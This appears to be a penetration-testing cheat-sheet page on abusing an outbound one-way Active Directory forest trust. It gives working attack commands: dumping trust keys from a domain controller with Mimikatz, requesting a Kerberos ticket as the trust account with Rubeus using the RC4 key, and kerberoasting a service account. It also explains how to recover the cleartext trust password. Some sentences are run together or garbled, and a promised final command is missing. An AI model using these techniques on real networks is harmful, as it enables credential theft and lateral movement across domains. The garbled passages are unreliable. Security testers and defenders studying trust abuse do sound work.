External Forest Domain - One-Way (Outbound)
In this scenario your domain is trusting some privileges to principal from a different domains.
# Notice Outbound trust
SourceName : root.local
TargetName : ext.local
TrustType : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : FOREST_TRANSITIVE
TrustDirection : Outbound
WhenCreated : 2/19/2021 10:15:24 PM
WhenChanged : 2/19/2021 10:15:24 PM
# Lets find the current domain group giving permissions to the external domain
GroupDomain : root.local
GroupName : External Users
GroupDistinguishedName : CN=External Users,CN=Users,DC=DOMAIN,DC=LOCAL
MemberDomain : root.io
MemberName : S-1-5-21-1028541967-2937615241-1935644758-1115
MemberDistinguishedName : CN=S-1-5-21-1028541967-2937615241-1935644758-1115,CN=ForeignSecurityPrincipals,DC=DOMAIN,DC=LOCAL
## Note how the members aren't from the current domain (ConvertFrom-SID won't work)
When an Active Directory domain or forest trust is set up from a domain B to a domain A (B trusts A), a trust account is created in domain A, named B. Kerberos trust keys,_derived from the trust account’s password, are used for encrypting inter-realm TGTs, when users of domain A request service tickets for services in domain B.
It's possible to obtain the password and hash of the trusted account from a Domain Controller using:
Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local
The risk is because of trust account B$ is enabled, B$’s Primary Group is Domain Users of domain A, any permission granted to Domain Users applies to B$, and it is possible to use B$’s credentials to authenticate against domain A.
In this example the trusting domain is
ext.localand the trusted one is
root.local. Therefore, a user called
EXT$is created inside
# Use mimikatz to dump trusted keys
# You can see in the output the old and current credentials
# You will find clear text, AES and RC4 hashes
Therefore, at this point have
root.local\EXT$’s current cleartext password and Kerberos secret key. The
root.local\EXT$Kerberos AES secret keys are on identical to the AES trust keys as a different salt is used, but the RC4 keys are the same. Therefore, we can use the RC4 trust key dumped from ext.local as to authenticate as
.\Rubeus.exe asktgt /user:EXT$ /domain:root.local /rc4:<RC4> /dc:dc.root.local /ptt
With this you can start enumerating that domain and even kerberoasting users:
.\Rubeus.exe kerberoast /user:svc_sql /domain:root.local /dc:dc.root.local
In the previous flow it was used the trust hash instead of the clear text password (that was also dumped by mimikatz).
The cleartext password can be obtained by converting the [ CLEAR ] output from mimikatz from hexadecimal and removing null bytes ‘\x00’:
Sometimes when creating a trust relationship, a password must be typed in by the user for the trust. In this demonstration, the key is the original trust password and therefore human readable. As the key cycles (30 days), the cleartext will not be human-readable but technically still usable.
The cleartext password can be used to perform regular authentication as the trust account, an alternative to requesting a TGT using the Kerberos secret key of the trust account. Here, querying root.local from ext.local for members of Domain Admins: